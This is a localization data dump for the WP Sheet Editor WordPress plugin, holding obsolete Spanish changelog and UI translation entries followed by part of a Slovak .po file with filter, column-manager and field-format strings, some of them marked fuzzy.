                  Nueva característica: Ahora la primera columna de la hoja de cálculo " #~ "está siempre visible mientras te desplazas hacia la derecha.

                  " #~ msgid "

                  Other minor changes and fixes.

                  " #~ msgstr "

                  Otros cambios menores.

                  " #~ msgid "" #~ "

                  New feature: Now you can edit WooCommerce products in the free plugin, " #~ "but with limited columns and product types.

                  " #~ msgstr "" #~ "

                  Nueva característica: Ahora puedes editar productos WooCommerce en el " #~ "plugin gratuito, aunque con columnas y tipos de producto limitados.

                  " #~ msgid "

                  New feature: Now you can upload featured images using URLs.

                  " #~ msgstr "" #~ "

                  Nueva característica: Ahora puedes subir imágenes destacadas usando " #~ "URLs.

                  " #~ msgid "" #~ "

                  Improvement: Now the spreadsheet support hundreds of rows at once, and " #~ "saving is faster.

                  " #~ msgstr "" #~ "

                  Mejora: Ahora la hoja de cálculo soporta cientos de filas a la vez, y " #~ "el guardado es más rápido.

                  " #~ msgid "" #~ "

                  NEW - USERS - Released users extension for editing WordPress users in " #~ "spreadsheet. Check extension

                  " #~ msgstr "" #~ "

                  NUEVO - USUARIOS - Extensión de usuarios lanzada para editar usuarios " #~ "de WordPress en una hoja de cálculo. Revisar la extensión

                  " #~ msgid "" #~ "

                  NEW - CORE - Added \"search\" tool. Search by keyword, author, and " #~ "post status.

                  " #~ msgstr "" #~ "

                  NUEVO - NÚCLEO - Se agregó la herramienta de \"búsqueda\". Buscar por " #~ "palabra clave, autor y estado del post.

                  " #~ msgid "" #~ "

                  NEW - COLUMNS RESIZING - Allow to resize columns and save for next " #~ "sessions.

                  " #~ msgstr "" #~ "

                  NUEVO - CAMBIAR EL TAMAÑO DE LAS COLUMNAS - Permite cambiar el tamaño " #~ "de las columnas y guardar para las próximas sesiones.

                  " #~ msgid "" #~ "

                  NEW - FILTERS - Added bar showing active filters with options to " #~ "remove individual filters.

                  " #~ msgstr "" #~ "

                  NUEVO - FILTROS - Se ha añadido una barra que muestra los filtros " #~ "activos con opciones para eliminar filtros individuales.

                  " #~ msgid "" #~ "

                  NEW - CORE - Added status bar showing number of posts loaded in " #~ "spreadsheet and total posts available according to the filters.

                  " #~ msgstr "" #~ "

                  NUEVO - NÚCLEO - Se ha añadido una barra de estado que muestra el " #~ "número de posts cargados en la hoja de cálculo y el total de posts " #~ "disponibles según los filtros.

                  " #~ msgid "" #~ "

                  NEW - CORE - Added settings page button in the toolbar for quick " #~ "access.

                  " #~ msgstr "" #~ "

                  NUEVO - NÚCLEO- Botón de la página de ajustes añadido en la barra de " #~ "herramientas para un acceso rápido.

                  " #~ msgid "

                  NEW - CORE - Updated welcome page to showcase extensions.

                  " #~ msgstr "" #~ "

                  NUEVO - NÚCLEO - Página de bienvenida actualizada para mostrar las " #~ "extensiones.

                  " #~ msgid "

                  CHANGE - CORE - Updated texts for improved usability.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - Textos actualizados para mejorar la usabilidad.

                  " #~ msgid "" #~ "

                  CHANGE - CORE - Removed extensions teasers and replaced with a simple " #~ "text message.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - Se han eliminado los teasers de las extensiones y se " #~ "han sustituido por un simple mensaje de texto.

                  " #~ msgid "" #~ "

                  CHANGE - CORE - If the spreadsheet wasn´t modified, don´t show the " #~ "\"please save your changes\" notification when the page is closed.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - Si la hoja de cálculo no fue modificada, no mostrar " #~ "la notificación \"Por favor, guarda tus cambios\" cuando la página esté " #~ "cerrada.

                  " #~ msgid "" #~ "

                  FIX - CORE - When closing file uploads or tinymce popups, the screen " #~ "doesn´t return to the original position.

                  " #~ msgstr "" #~ "

                  AJUSTE - CORE - Al cerrar las subidas de archivos o ventanas " #~ "emergentes de tinymce, la pantalla no vuelve a su posición original.

                  " #~ msgid "

                  FIX - CORE - Sometimes options page doesn´t load.

                  " #~ msgstr "

                  AJUSTE- NÚCLEO - A veces la página de opciones no se carga.

                  " #~ msgid "

                  FIX - CORE - Schedule posts are not showing on spreadsheet.

                  " #~ msgstr "" #~ "

                  AJUSTE - NÚCLEO - Los posts del horario no se muestran en la hoja de " #~ "cálculo.

                  " #~ msgid "" #~ "

                  FIX - FILTERS - When using the same filter multiple times with " #~ "different values it starts returning wrong posts.

                  " #~ msgstr "" #~ "

                  AJUSTE - FILTROS - Cuando se utiliza el mismo filtro varias veces con " #~ "valores diferentes, comienza a devolver mensajes erróneos.

                  " #~ msgid "" #~ "

                  FIX - FILTERS - When making a lot of searches, the total posts count " #~ "changes and the infinite scroll stops working.

                  " #~ msgstr "" #~ "

                  AJUSTE - FILTROS - Cuando se hacen muchas búsquedas, el total de posts " #~ "cambia de cuenta y el desplazamiento infinito deja de funcionar.

                  " #~ msgid "" #~ "

                  FIX - CORE - it doesn´t allow to create new WooCommerce products.

                  " #~ msgstr "" #~ "

                  AJUSTE - NÚCLEO - No permite crear nuevos productos WooCommerce.

                  " #~ msgid "" #~ "

                  FIX - CORE - Spreadsheet becomes too slow when loading thousands of " #~ "rows.

                  " #~ msgstr "" #~ "

                  AJUSTE - NÚCLEO - La hoja de cálculo se vuelve demasiado lenta cuando " #~ "se cargan miles de filas.

                  " #~ msgid "" #~ "

                  NEW - POST TEMPLATES - Released free extension for duplicating posts " #~ "in the spreadsheet. Check extension" #~ msgstr "" #~ "

                  NUEVO - PLANTILLAS DE POST - Lanzamiento de una extensión gratuita " #~ "para la duplicación de posts en la hoja de cálculo. Revisar la extensión

                  " #~ msgid "" #~ "

                  NEW - COLUMNS VISIBILITY - This premium feature is now free. You can " #~ "hide and sort columns in the spreadsheet.

                  " #~ msgstr "" #~ "

                  NUEVO - VISIBILIDAD DE LAS COLUMNAS - Esta característica premium es " #~ "ahora gratuita. Puedes ocultar y ordenar columnas en la hoja de cálculo." #~ msgid "" #~ "

                  NEW - AUTO FILL CELLS - This premium feature is now free. You can " #~ "autofill cells by dragging down a cell like you do in excel.

                  " #~ msgstr "" #~ "

                  NUEVO - AUTOLLENAR CELDAS - Esta característica premium es ahora " #~ "gratuita. Puedes rellenar automáticamente las celdas arrastrando hacia " #~ "abajo una celda como lo haces en Excel.

                  " #~ msgid "" #~ "

                  NEW - WOOCOMMERCE - Added new columns to the free version of the " #~ "plugin: SKU, Width, Length, Height, Weight, Manage stock, Stock status, " #~ "and stock quantity.

                  " #~ msgstr "" #~ "

                  NUEVO - WOOOCOMMERCE - Se han añadido nuevas columnas a la versión " #~ "gratuita del plugin: SKU, Anchura, Longitud, Altura, Peso, Gestionar " #~ "stock, Estado de stock y cantidad de stock.

                  " #~ msgid "" #~ "

                  CHANGE - CORE - Improved usability. We updated some texts to make it " #~ "clear what features are free and what features are premium

                  " #~ msgstr "" #~ "

                  cambio - núcleo - Mejora de la usabilidad. Hemos actualizado algunos " #~ "textos para dejar claro qué características son gratuitas y qué " #~ "características son premium

                  " #~ msgid "" #~ "

                  CHANGE - CORE - the quick setup flow was redesigned to make the setup " #~ "easier to understand.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - El flujo de configuración rápida fue rediseñado para " #~ "que la configuración sea más fácil de entender.

                  " #~ msgid "" #~ "

                  CHANGE - CORE - Improved translations. Now we include a .pot file.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - Traducciones mejoradas. Ahora incluimos un archivo." #~ "pot.

                  " #~ msgid "" #~ "

                  FIX - CORE - Added compatibility with \"ultimate fields\" plugin.

                  " #~ msgstr "" #~ "

                  AJUSTE - CORE - Añadida la compatibilidad con el plugin \"ultimate " #~ "fields\".

                  " #~ msgid "" #~ "New feature - Added support for Advanced Custom Fields +v5.0.0. " #~ "(Available for paid users only. Upgrade)" #~ msgstr "" #~ "Nueva característica - Añadido soporte para Advanced Custom Fields " #~ "+v5.0.0. (Disponible sólo para usuarios de pago. Upgrade)" #~ msgid "" #~ "New feature - Spreadsheet formulas - Added support for regular " #~ "expressions (Available for paid users only. Upgrade)" #~ msgstr "" #~ "Nueva característica - Fórmulas de hoja de cálculo - Añadido soporte para " #~ "expresiones regulares (Disponible sólo para usuarios de pago. Upgrade)" #~ msgid "" #~ "New extension - WooCommerce Customers Spreadsheet. View all customer " #~ "profiles, View shipping and Billing info, Advanced Searches, and more. View Extension)" #~ msgstr "" #~ "Nueva extensión - Hoja de cálculo de clientes de WooCommerce. Ver todos " #~ "los perfiles de clientes, Ver información de envío y facturación, " #~ "Búsquedas avanzadas y más. Ver Extensión " #~ ")" #~ msgid "" #~ "Updated extension - Frontend Spreadsheets. Let your users create and edit " #~ "Information like Events, Business listings, WooCommerce Products, Posts, " #~ "etc. View Extension)" #~ msgstr "" #~ "Extensión actualizada - Hojas de cálculo de Frontend. Permite a tus " #~ "usuarios crear y editar información como eventos, listados de negocios, " #~ "Productos WooCommerce, Posts, etc. Ver " #~ "Extensión )" #~ msgid "Improved tools: formulas engine" #~ msgstr "Herramientas mejoradas: motor de fórmulas" #~ msgid "Improved tools: advanced search" #~ msgstr "Herramientas mejoradas: búsqueda avanzada" #~ msgid "Fixed more than 19 bugs" #~ msgstr "Arreglados más de 19 bugs" #~ msgid "Improved 10 features" #~ msgstr "10 características mejoradas" #~ msgid "Updated 4 extensions." #~ msgstr "4 Extensiones Actualizadas." #~ msgid "Apply filters" #~ msgstr "Aplicar filtros" #~ msgid "" #~ "You will be able to switch from one columns group to another group with " #~ "one click. We will display the option in the top toolbar > columns " #~ "manager dropdown" #~ msgstr "" #~ "Podrás cambiar de un grupo de columnas a otro grupo con un solo clic. " #~ "Mostraremos la opción en la barra de herramientas superior > desplegable " #~ "del gestor de columnas" #~ msgid "Edit thousands of rows at once in seconds" #~ msgstr "Edita miles de filas a la vez en segundos" #~ msgid "" #~ "Delete all the items containing duplicate values in the column, we only " #~ "leave one item per unique value. Read more" #~ msgstr "" #~ "Borrar todos los ítems que contienen valores duplicados en la columna, " #~ "sólo dejamos un ítem por cada valor único. Leer más" #~ msgid "Copy from multiple columns" #~ msgstr "Copiar desde varias columnas" #~ msgid "" #~ "Example: 'Articles written by $post_author$ on $post_date$' = 'Articles " #~ "written by Adam on 24-12-2017'.
                  Another example: '$category$-" #~ "$_regular_price$ EUR' would be 'Videos - 25 EUR'" #~ msgstr "" #~ "Ejemplo: 'Artículos escritos por $post_author$ en $post_date$' = " #~ "'Artículos escritos por Adam el 24-12-2017'.
                  Otro ejemplo: " #~ "'$category$-$_regular_price$ EUR' sería `Videos - 25 EUR´'." #~ msgid "The variations are for these products:" #~ msgstr "Las variaciones son para estos productos:" #~ msgid "Hide cell comments?" #~ msgstr "¿Ocultar los comentarios de las celdas?" #~ msgid "" #~ "For example, to get all products with price higher than 100, use: " #~ "_regular_price > 100" #~ msgstr "" #~ "Por ejemplo, para encontrar todos los productos con precio mayor a 100, " #~ "usa: _regular_price > 100" #~ msgid "" #~ "- The sheet has a limit of %d columns for performance reasons. You " #~ "reached the limit. You need to delete columns in the list above (Move " #~ "them to the \"disabled\" list and click the X button on each column), " #~ "reload the page, and new columns will appear automatically - or - you can " #~ "increase the columns limit." #~ msgstr "" #~ "- La hoja tiene un límite de %d de columnas por razones de rendimiento. " #~ "Has llegado al límite. Necesitas eliminar las columnas de la lista " #~ "anterior (Muévelas a la lista \"desactivada\" y haz clic en el botón X de " #~ "cada columna), vuelve a cargar la página, y aparecerán nuevas columnas " #~ "automáticamente - o - puedes aumentar el " #~ "límite de las columnas ." #~ msgid "" #~ "Make advanced searches and show only the matching rows in the " #~ "spreadsheet. You can search by multiple conditions at once." #~ msgstr "" #~ "Haz búsquedas avanzadas y muestra sólo las filas coincidentes en la hoja " #~ "de cálculo. Puedes buscar por múltiples condiciones a la vez." #~ msgid "" #~ "This feature allows you to filter the items in the spreadsheet to display " #~ "only the items you want to edit." #~ msgstr "" #~ "Esta función te permite filtrar los elementos de la hoja de cálculo para " #~ "mostrar sólo los elementos que quieres editar." #~ msgid "Update existing value with the result of a math operation." #~ msgstr "" #~ "Actualizar el valor existente con el resultado de una operación " #~ "matemática." #~ msgid "Decrease the existing value by a percentage." #~ msgstr "Disminuir el valor existente en un porcentaje." #~ msgid "Decrease the existing value by a number." #~ msgstr "Disminuir el valor existente en un número." #~ msgid "Increase the existing value by a percentage." #~ msgstr "Incrementar el valor existente en un porcentaje." #~ msgid "Increase the existing value by a number." #~ msgstr "Incrementar el valor existente en un número." #~ msgid "" #~ "Invalid #8W89WW. The search and replace text must not be empty. At least " #~ "one of them must have a value" #~ msgstr "" #~ "Inválido #8W89WWW. El texto de búsqueda y reemplazo no debe estar vacío. " #~ "Al menos uno de ellos debe tener un valor" #~ msgid "

                  Complete. You can close this popup

                  ." #~ msgstr "

                  Completo. Puedes cerrar esta ventana emergente

                  ." #~ msgid "%d of %d items have been processed. %d items have been updated." #~ msgstr "%d de %d artículos han sido procesados. %d han sido actualizados." #~ msgid "I will edit this file with Microsoft Excel." #~ msgstr "Editaré este archivo con Microsoft Excel." #~ msgid "" #~ "Sometimes Excel shows all the values in a single cell and it does not " #~ "recognize the comma as separator. This fixes that problem" #~ msgstr "" #~ "A veces Excel muestra todos los valores en una sola celda y no reconoce " #~ "la coma como separador. Esto arregla el problema" #~ msgid "" #~ "We find items that have the same value in the CSV Field and the WP Field." #~ "
                  For example, users with the same email address in the CSV and WP." #~ "
                  We can search in 2 fields. Example: products with same SKU and Title," #~ "
                  or users with same email address and username." #~ msgstr "" #~ "Encontramos elementos que tienen el mismo valor en el campo CSV y en el " #~ "campo WP.
                  Por ejemplo, los usuarios con la misma dirección de correo " #~ "electrónico en el CSV y WP.
                  Podemos buscar en 2 campos. Ejemplo: " #~ "productos con el mismo SKU y título,
                  o usuarios con la misma " #~ "dirección de correo electrónico y nombre de usuario." #~ msgid "Field 1: CSV Field" #~ msgstr "Campo 1: Campo CSV" #~ msgid "Field 1: WordPress Field" #~ msgstr "Campo 1: Campo de WordPress" #~ msgid "Share" #~ msgstr "Compartir" #~ msgid "" #~ "

                  Missing column?

                  1. Try to add it automatically. Click here
                  2. You reached the " #~ "columns limit? Fix it
                  3. Maybe " #~ "the column is hidden.
                  4. We can " #~ "help you Contact us
                  " #~ msgstr "" #~ "

                  ¿Falta una columna?

                  1. Intenta añadirla automáticamente. Haz clic aquí
                  2. ¿Has llegado al " #~ "límite de las columnas? Corregir
                  3. >Tal vez la columna esté oculta.
                  4. Podemos ayudarte Contáctanos
                  " #~ msgid "(Go premium)" #~ msgstr "(Pasate a Premium)" #~ msgid "How many posts do you want to display on the spreadsheet?" #~ msgstr "¿Cuántos posts quieres mostrar en la hoja de cálculo?" #~ msgid "Advanced" #~ msgstr "Avanzado" #~ msgid "" #~ "When you have 1000 posts , you might want to open the spreadsheet and " #~ "start editing from post 200. This option lets you open the spreadsheet " #~ "and start from a specific post index instead of starting from the " #~ "beginning." #~ msgstr "" #~ "Cuando tengas 1000 posts, es posible que quieras abrir la hoja de cálculo " #~ "y empezar a editar desde el post 200. Esta opción te permite abrir la " #~ "hoja de cálculo y empezar desde un índice de post específico en lugar de " #~ "empezar desde el principio." #~ msgid "Scheduled" #~ msgstr "Programado" #~ msgid "You can deactivate this forever on the settings page" #~ msgstr "Puedes desactivarlo para siempre en la página de configuración" #~ msgid "Available post types" #~ msgstr "Tipos de post disponibles" #~ msgid "Custom Spreadsheets for Your Users or Employees" #~ msgstr "Hojas de cálculo personalizadas para tus usuarios o empleados" modules/wp-sheet-editor/lang/vg_sheet_editor-sk_SK.po000064400000736254147600365160016730 0ustar00msgid "" msgstr "" "Project-Id-Version: WP Sheet Editor 2.21.3\n" "Report-Msgid-Bugs-To: \n" "Language-Team: Slovenčina\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "POT-Creation-Date: 2020-10-20T18:06:58+00:00\n" "PO-Revision-Date: 2023-07-11 14:39+0000\n" "X-Generator: Loco https://localise.biz/\n" "Last-Translator: roman\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "Language: sk_SK\n" "X-Loco-Version: 2.6.4; wp-6.2.2" #: acf/acf.php:584 #, fuzzy msgid "Enter a title" msgstr "Zadajte názov" #: advanced-filters/advanced-filters.php:49 #: advanced-filters/advanced-filters.php:75 #: columns-manager/inc/column-groups.php:276 #: columns-resizing/columns-resizing.php:63 #: columns-visibility/columns-visibility.php:210 formulas/formulas.php:470 #: formulas/formulas.php:488 formulas/formulas.php:507 #: spreadsheet-setup/spreadsheet-setup.php:283 #: universal-sheet/universal-sheet.php:108 woocommerce/inc/attributes.php:553 #: woocommerce/inc/downloadable.php:334 woocommerce/inc/downloadable.php:354 #: woocommerce/inc/variations.php:1330 woocommerce/inc/variations.php:1350 #: wp-sheet-editor/dev/inc/api/editor.php:212 #: wp-sheet-editor/dev/wp-sheet-editor.php:936 #: wp-sheet-editor/dev/wp-sheet-editor.php:950 #: wp-sheet-editor/dev/wp-sheet-editor.php:961 #, fuzzy msgid "You dont have enough permissions to view this page." msgstr "Na zobrazenie tejto stránky nemáte dostatočné povolenia." #: advanced-filters/advanced-filters.php:133 #, fuzzy msgid "Save this search" msgstr "Uložte toto vyhľadávanie" #: advanced-filters/advanced-filters.php:134 #, fuzzy msgid "Enter a name..." msgstr "Zadajte meno..." #: advanced-filters/advanced-filters.php:421 #, fuzzy msgid "Parent" msgstr "Rodič" #: advanced-filters/advanced-filters.php:595 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:39 #, fuzzy msgid "Enter %s" msgstr "Zadajte %s" #: advanced-filters/advanced-filters.php:595 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:39 #, fuzzy msgid "Enter the names of " msgstr "Zadajte mená" #: advanced-filters/advanced-filters.php:596 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:40 #, fuzzy msgid "Category name..." msgstr "Meno kategórie..." #: advanced-filters/advanced-filters.php:605 #: advanced-filters/advanced-filters.php:663 #: advanced-filters/advanced-filters.php:698 filters/filters.php:379 #: filters/filters.php:395 #, fuzzy msgid "Select..." msgstr "Vybrať..." #: advanced-filters/advanced-filters.php:651 #, fuzzy msgid "Enable advanced filters" msgstr "Povoliť pokročilé filtre" #: advanced-filters/advanced-filters.php:654 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:54 msgid "Advanced search" msgstr "Pokročilé vyhľadávanie" #: advanced-filters/advanced-filters.php:656 #, fuzzy msgid "" "You can search by any field using operators. I.e. price > 100, image != " "(empty)" msgstr "" "Pomocou operátorov môžete vyhľadávať podľa ľubovoľného poľa. T.j. cena > 100," " obrázok != (prázdny)" #: advanced-filters/advanced-filters.php:661 #, fuzzy msgid "Field" msgstr "Lúka" #: advanced-filters/advanced-filters.php:693 #, fuzzy msgid "A field is missing? Click here" msgstr "Chýba pole? Kliknite tu" #: advanced-filters/advanced-filters.php:697 #, fuzzy msgid "Operator" msgstr "Operátor" #: advanced-filters/advanced-filters.php:703 woocommerce/inc/attributes.php:535 #: woocommerce/inc/attributes.php:536 woocommerce/inc/variations.php:416 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:882 #, fuzzy msgid "Value" msgstr "Hodnota" #: advanced-filters/advanced-filters.php:708 #: advanced-filters/advanced-filters.php:720 #: wp-sheet-editor/dev/inc/api/bootstrap.php:224 #, fuzzy msgid "Add new" msgstr "Pridať nové" #: advanced-filters/advanced-filters.php:711 msgid "X" msgstr "X" # php source does not exist #: advanced-filters/advanced-filters.php:729 #, fuzzy msgid "NOT Contains this keyword" msgstr "NOT Obsahuje toto kľúčové slovo" #: advanced-filters/advanced-filters.php:729 #, fuzzy msgid "" "Enter a keyword to exclude posts, separate multiple keywords with a " "semicolon (;)" msgstr "" "Zadajte kľúčové slovo na vylúčenie príspevkov, viaceré kľúčové slová oddeľte " "bodkočiarkou (;)" #: advanced-filters/advanced-filters.php:733 msgid "Find these IDs:" msgstr "Nájsť tieto ID:" #: advanced-filters/advanced-filters.php:733 #, fuzzy msgid "" "Enter IDs separated by commas, spaces, new lines, or tabs. You can use ID " "ranges like 20-50 as a shortcut." msgstr "" "Zadajte ID oddelené čiarkami, medzerami, novými riadkami alebo tabulátormi. " "Ako skratku môžete použiť rozsahy ID ako 20-50." #: advanced-filters/advanced-filters.php:738 msgid "Find these URLs:" msgstr "Nájsť tieto adresy URL:" #: advanced-filters/advanced-filters.php:738 #, fuzzy msgid "Enter one URL per line" msgstr "Zadajte jednu adresu URL na riadok" #: advanced-filters/advanced-filters.php:742 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 #, fuzzy msgid "Date range from" msgstr "Rozsah dátumov od" #: advanced-filters/advanced-filters.php:742 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 #, fuzzy msgid "Show items published between these dates" msgstr "Zobraziť položky zverejnené medzi týmito dátumami" #: advanced-filters/advanced-filters.php:742 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 #, fuzzy msgid "to" msgstr "do" #: advanced-filters/advanced-filters.php:761 #, fuzzy msgid "Any of these values (Enter multiple values separated by ;)" msgstr "Ktorákoľvek z týchto hodnôt (Zadajte viacero hodnôt oddelených ;)" # php source does not exist #: advanced-filters/advanced-filters.php:762 #, fuzzy msgid "CONTAINS" msgstr "OBSAHUJE" # php source does not exist #: advanced-filters/advanced-filters.php:763 #, fuzzy msgid "NOT CONTAINS" msgstr "NEOBSAHUJE" # php source does not exist #: advanced-filters/advanced-filters.php:764 #, fuzzy msgid "STARTS WITH" msgstr "ZAČÍNA S" # php source does not exist #: advanced-filters/advanced-filters.php:765 #, fuzzy msgid "ENDS WITH" msgstr "KONČÍ SA S" # php source does not exist #: advanced-filters/advanced-filters.php:766 #, fuzzy msgid "CHARACTER LENGTH <" msgstr "DĹŽKA ZNAKU <" # php source does not exist #: advanced-filters/advanced-filters.php:767 #, fuzzy msgid "CHARACTER LENGTH >" msgstr "DĹŽKA ZNAKU >" # php source does not exist #: advanced-filters/advanced-filters.php:768 msgid "REGEXP" msgstr "REGEXP" #: columns-manager/columns-manager.php:161 #, fuzzy msgid "" " Some columns have the button to change the " "formatting" msgstr "" "Niektoré stĺpce majú tlačidlo na zmenu " "formátovania" #: columns-manager/columns-manager.php:173 columns-visibility/views/form.php:8 msgid "Columns manager" msgstr "Zobrazenia" #: columns-manager/columns-manager.php:285 #, fuzzy msgid "Enter multiple post titles separated by commas" msgstr "Zadajte viacero názvov príspevkov oddelených čiarkami" #: columns-manager/columns-manager.php:573 #: wp-sheet-editor/dev/inc/api/bootstrap.php:177 #: wp-sheet-editor/dev/inc/options-init.php:384 #: wp-sheet-editor/dev/views/quick-setup.php:99 msgid "Settings" msgstr "Nastavenia" #: columns-manager/columns-manager.php:576 #, fuzzy msgid "Column format" msgstr "Formát stĺpca" #: columns-manager/columns-manager.php:578 #, fuzzy msgid "Automatic" msgstr "Automaticky" #: columns-manager/columns-manager.php:579 msgid "Text" msgstr "Text" #: columns-manager/columns-manager.php:580 #, fuzzy msgid "Text editor (tinymce)" msgstr "Textový editor (tinymce)" #: columns-manager/columns-manager.php:581 #, fuzzy msgid "Dropdown with predefined options" msgstr "Rozbaľovacia ponuka s preddefinovanými možnosťami" #: columns-manager/columns-manager.php:582 #, fuzzy msgid "Checkbox" msgstr "začiarkavacie políčko" #: columns-manager/columns-manager.php:583 #, fuzzy msgid "File upload" msgstr "Nahranie súboru" #: columns-manager/columns-manager.php:584 #: wp-sheet-editor/dev/inc/api/bootstrap.php:470 #: wp-sheet-editor/dev/inc/teasers/post-types.php:97 #, fuzzy msgid "Date" msgstr "Dátum" #: columns-manager/columns-manager.php:585 #, fuzzy msgid "User dropdown" msgstr "Rozbaľovacia ponuka používateľov" #: columns-manager/columns-manager.php:586 #, fuzzy msgid "Post dropdown" msgstr "Rozbaľovacia ponuka príspevkov" #: columns-manager/columns-manager.php:590 #, fuzzy msgid "Allowed values" msgstr "Povolené hodnoty" #: columns-manager/columns-manager.php:591 #, fuzzy msgid "" "Enter each choice on a new line. For more control, you may specify both a " "value and label like this:
                  red : Red" msgstr "" "Zadajte každú možnosť na nový riadok. Pre väčšiu kontrolu môžete zadať " "hodnotu aj označenie takto:
                  červená : červená" #: columns-manager/columns-manager.php:595 #, fuzzy msgid "What valued is saved when the checkbox is checked?" msgstr "Aká hodnota sa uloží, keď je začiarknuté políčko?" #: columns-manager/columns-manager.php:597 #, fuzzy msgid "What valued is saved when the checkbox is unchecked?" msgstr "Aká hodnota sa uloží, keď nie je začiarknuté políčko?" #: columns-manager/columns-manager.php:601 #, fuzzy msgid "" "You will be able to type the username in the cell and the cell will show a " "dropdown with suggestions." msgstr "" "Do bunky budete môcť zadať používateľské meno a v bunke sa zobrazí " "rozbaľovacia ponuka s návrhmi." #: columns-manager/columns-manager.php:602 #, fuzzy msgid "How is the user saved in the database?" msgstr "Ako je používateľ uložený v databáze?" #: columns-manager/columns-manager.php:604 #: wp-sheet-editor/dev/inc/api/bootstrap.php:360 msgid "ID" msgstr "ID" #: columns-manager/columns-manager.php:605 #, fuzzy msgid "Username" msgstr "Používateľské meno" #: columns-manager/columns-manager.php:606 #, fuzzy msgid "Email" msgstr "Email" #: columns-manager/columns-manager.php:610 #, fuzzy msgid "" "You will be able to type the post title in the cell and the cell will show a " "dropdown with suggestions." msgstr "" "Do bunky budete môcť zadať názov príspevku a v bunke sa zobrazí rozbaľovacia " "ponuka s návrhmi." #: columns-manager/columns-manager.php:611 #, fuzzy msgid "How is the post saved in the database?" msgstr "Ako sa príspevok uloží do databázy?" #: columns-manager/columns-manager.php:613 #, fuzzy msgid "Post ID" msgstr "ID príspevku" #: columns-manager/columns-manager.php:614 #: wp-sheet-editor/dev/inc/api/bootstrap.php:373 #: wp-sheet-editor/dev/inc/teasers/post-types.php:93 #: wp-sheet-editor/dev/inc/teasers/post-types.php:108 #, fuzzy msgid "Title" msgstr "Názov" #: columns-manager/columns-manager.php:615 #, fuzzy msgid "Slug" msgstr "Slimák" #: columns-manager/columns-manager.php:618 #, fuzzy msgid "Allow multiple posts per field?" msgstr "Povoliť viacero príspevkov na pole?" #: columns-manager/columns-manager.php:620 #, fuzzy msgid "How do you want to save the multiple posts?" msgstr "Ako chcete uložiť viacero príspevkov?" #: columns-manager/columns-manager.php:622 #: columns-manager/columns-manager.php:649 #, fuzzy msgid "Saved them separated by comma" msgstr "Uložené sú oddelené čiarkou" #: columns-manager/columns-manager.php:623 #: columns-manager/columns-manager.php:650 #, fuzzy msgid "Save them as serialized array" msgstr "Uložte ich ako serializované pole" #: columns-manager/columns-manager.php:625 #, fuzzy msgid "Accept post from this post type" msgstr "Prijať príspevok z tohto typu príspevku" #: columns-manager/columns-manager.php:626 #, fuzzy msgid "" "For example, if you select the post type \"product\", we will only accept " "product titles." msgstr "" "Ak napríklad vyberiete typ príspevku „produkt“, akceptujeme iba názvy " "produktov." #: columns-manager/columns-manager.php:628 #, fuzzy msgid "Same as the spreadsheet post type" msgstr "Rovnaké ako typ príspevku v tabuľke" #: columns-manager/columns-manager.php:639 #, fuzzy msgid "How is the file saved in the database?" msgstr "Ako sa súbor uloží do databázy?" #: columns-manager/columns-manager.php:640 #, fuzzy msgid "" "The cell will display the values as URLs and you can edit in the cells using " "full URLs, file ID, or file name.
                  External URLs are automatically " "imported into the media library.
                  We will save the value in the format " "selected here" msgstr "" "V bunke sa hodnoty zobrazia ako adresy URL a v bunkách ich môžete upraviť " "pomocou úplných adries URL, ID súboru alebo názvu súboru.
                  Externé adresy " "URL sa automaticky importujú do knižnice médií.
                  Hodnotu uložíme vo " "formáte vybrané tu" #: columns-manager/columns-manager.php:642 #, fuzzy msgid "File ID" msgstr "ID súboru" #: columns-manager/columns-manager.php:643 formulas/inc/ui.php:887 #: universal-sheet/views/import-modal.php:38 #, fuzzy msgid "File URL" msgstr "URL súboru" #: columns-manager/columns-manager.php:646 #, fuzzy msgid "Allow multiple files per field?" msgstr "Povoliť viacero súborov na pole?" #: columns-manager/columns-manager.php:647 #, fuzzy msgid "How do you want to save the multiple files?" msgstr "Ako chcete uložiť viacero súborov?" #: columns-manager/columns-manager.php:654 #, fuzzy msgid "The cells will display the date in the format: YYYY-MM-DD" msgstr "V bunkách sa zobrazí dátum vo formáte: RRRR-MM-DD" #: columns-manager/columns-manager.php:655 #, fuzzy msgid "What date format do you want to save in the database?" msgstr "Aký formát dátumu chcete uložiť do databázy?" #: columns-manager/columns-manager.php:656 #, fuzzy msgid "" "Enter a date format. List of formats. Example: Y-m-d" msgstr "" "Zadajte formát dátumu. Zoznam formátov . Príklad: Ymd" #: columns-manager/inc/column-groups.php:46 #, fuzzy msgid "Spreadsheet views" msgstr "Tabuľkové zobrazenia" #: columns-manager/inc/column-groups.php:80 #: wp-sheet-editor/dev/wp-sheet-editor.php:924 #, fuzzy msgid "WP Sheet Editor" msgstr "Editor hárkov WP" #: columns-manager/inc/column-groups.php:81 #, fuzzy msgid "" "Note. This is not a security feature, the user can edit all the fields in " "the normal editor based on the role. This option is for convenience, so they " "only see the columns they need when they open the spreadsheet editor. If you " "leave these fields empty they can switch between all the existing views" msgstr "" "Poznámka. Toto nie je bezpečnostná funkcia, používateľ môže upravovať všetky " "polia v bežnom editore na základe roly. Táto možnosť slúži na uľahčenie, " "takže po otvorení tabuľkového editora uvidia iba stĺpce, ktoré potrebujú. Ak " "ponecháte tieto polia prázdne, môžu prepínať medzi všetkými existujúcimi " "zobrazeniami" #: columns-manager/inc/column-groups.php:98 #, fuzzy msgid "%s: Allowed spreadsheet views" msgstr "%s: Povolené zobrazenia tabuliek" #: columns-manager/inc/column-groups.php:101 #, fuzzy msgid "Please enter the name of the spreadsheet views separated by commas." msgstr "Zadajte názvy zobrazení tabuliek oddelené čiarkami." #: columns-manager/inc/column-groups.php:328 #, fuzzy msgid 